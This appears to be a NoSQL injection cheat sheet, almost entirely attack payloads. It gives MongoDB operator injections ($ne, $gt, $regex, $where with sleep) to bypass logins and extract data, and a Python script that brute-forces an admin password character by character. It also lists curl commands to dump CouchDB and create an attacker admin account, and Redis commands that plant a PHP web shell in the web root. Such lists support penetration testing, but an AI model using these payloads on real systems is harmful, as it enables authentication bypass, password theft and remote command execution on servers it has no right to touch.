nosql-injection

POST /api/login
Content-Type: application/json
 
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*

?username[%24ne]=invalid&password[%24ne]=invalid

// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}
 
// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}
 
// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}

{"$where": "this.username == 'admin' && this.password.length > 0"}
 
// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
 
// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}

// Vulnerable code:
db.collection.aggregate([
  {$match: {category: userInput}},  // userInput = {"$ne": null}
  ...
])

// Input as object:
{"$ne": null}  → matches all categories
{"$regex": ".*"}  → matches all

?filter=value1&filter=value2 → filter = ["value1", "value2"]

?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection

# List databases:
curl http://target.com:5984/_all_dbs
 
# Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true
 
# Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'

# Via SSRF or direct injection:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE

AUTH password
AUTH 123456
AUTH redis
AUTH admin

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=

{"username": "admin", "password": {"$ne": ""}}

□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")

import requests
import string
 
url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""
 
while True:
    found = False
    for c in charset:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password}{c}.*"
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 302:
            password += c
            found = True
            print(f"Found: {password}")
            break
    if not found:
        break
 
print(f"Final password: {password}")

username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# Iterate through charset until login succeeds

// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100

// If user controls $match stage:
db.collection.aggregate([
  { $match: { user: INPUT } }  // INPUT from user
])
 
// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents
 
// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
    from: "admin_users",       // attacker-chosen collection
    localField: "user_id",
    foreignField: "_id",
    as: "leaked"
}}
 
// $out to write results to new collection:
{ $out: "public_collection" }  // Write query results to accessible collection

// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })
 
// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='